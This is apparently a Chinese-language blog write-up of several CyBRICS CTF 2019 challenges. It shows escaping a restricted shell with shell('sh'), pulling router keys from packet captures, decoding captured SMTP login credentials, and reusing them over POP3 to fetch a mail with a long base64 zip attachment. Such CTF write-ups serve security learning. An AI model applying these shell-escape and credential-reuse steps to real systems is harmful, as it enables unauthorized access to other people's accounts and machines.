Xi4or0uji's blog

CyBRICS CTF Quals 2019 wp

字数统计: 6.9k阅读时长: 38 min
2019/07/22 Share

前段时间看到了这个比赛,于是就打了一波了,菜鸡还是一如既往的菜

warmup

这个是个web的签到题,菜鸡具体不太记得了,好像是有个index.html,也有个final.html,访问index.html就会自动跳转到final.html,但是抓包就能看到flag了

ProCTF

这题ssh过去是一个受了限制的shell,但是按两次tab可以稍稍可用多一点命令,但是基本的命令也还是用不了,到了这里似乎卡死了,可是我们可以用shell('sh') .去获得一个shell

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?- shell('sh') .
$ cd /home
$ ls
user
$ cd user
$ls
flag.txt
$ cat flag.txt
cybrics{feeling_like_a_PRO?_that_sounds_LOGical_to_me!__g3t_it?_G37_1T?!?!_ok_N3v3Rm1nd...}

Paranoid

题目描述如下

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My neighbors are always very careful about their security. For example they’ve just bought a new home Wi-Fi router, and instead of just leaving it open, they instantly are setting passwords!
Don’t they trust me? I feel offended.
Can you give me their current router admin pw?

这个题目拿下来是一个压缩包,解压出来是一个流量包,打开以后数据成千上万,但是我们注意到题目说了管理员修改了密码,所以我们可以先查看一下post数据有哪些,用http.request.method == POST进行过滤,可以看到第二个数据包有个WLAN_AP_WEP_KEYXi1nvy5KGSgI2

把这个wep密钥添加进去wireshark的解密密钥

这个时候再打开数据包就会看到更加多的数据,继续过滤post数据,接着就找到第二个密码2_RGR_xO-uiJFiAxdA33-PsdanuK

然后继续将wpa密钥放进去解密密钥,这里菜鸡就解不出了,对802.11协议不了解

Sender

这个题目拿下来是一个smtp的发送数据包,内容如下

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220 ugm.cybrics.net ESMTP Postfix (Ubuntu)
EHLO localhost
250-ugm.cybrics.net
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-AUTH PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
AUTH LOGIN
334 VXNlcm5hbWU6
ZmF3a2Vz //fawkes
334 UGFzc3dvcmQ6
Q29tYmluNHQxb25YWFk= //Combin4t1onXXY
235 2.7.0 Authentication successful
MAIL FROM: <fawkes@ugm.cybrics.net>
250 2.1.0 Ok
RCPT TO: <area51@af.mil>
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>
Subject: add - archive pw
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
MIME-Version: 1.0

=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
.
250 2.0.0 Ok: queued as C4D593E8B6
QUIT
221 2.0.0 Bye

其他的可以忽略,重点是这个

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=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63=
=68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74=
=6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A

这一段解密出来是

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btw.
password for the archive with flag: crack0Weston88vertebra
cheers!

然后就是远程连接过去getflag

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telnet ugm.cybrics.net 110
+OK Dovecot ready.
user fawkes
+OK
pass Combin4t1onXXY
+OK Logged in.
list
+OK 1 messages:
1 138808
retr 1
+OK 138808 octets
Return-Path: <fawkes@ugm.cybrics.net>
X-Original-To: fawkes@ugm.cybrics.net
Delivered-To: fawkes@ugm.cybrics.net
Received: by sender (Postfix, from userid 1000)
id B83843EBFF; Thu, 18 Jul 2019 16:41:23 +0000 (UTC)
Date: Thu, 18 Jul 2019 16:41:23 +0000
From: fawkes <fawkes@ugm.cybrics.net>
To: Area51 <area51@af.mil>, fawkes <fawkes@ugm.cybrics.net>
Subject: interesting archive
Message-ID: <20190718164123.GA9631@ugm.cybrics.net>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf"
Content-Disposition: inline
User-Agent: Mutt/1.5.24 (2015-08-30)

--J2SCkAp4GZ/dPZZf
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

take a look. dont share. secret.

--J2SCkAp4GZ/dPZZf
Content-Type: application/zip
Content-Disposition: attachment; filename="secret_flag.zip"
Content-Transfer-Encoding: base64

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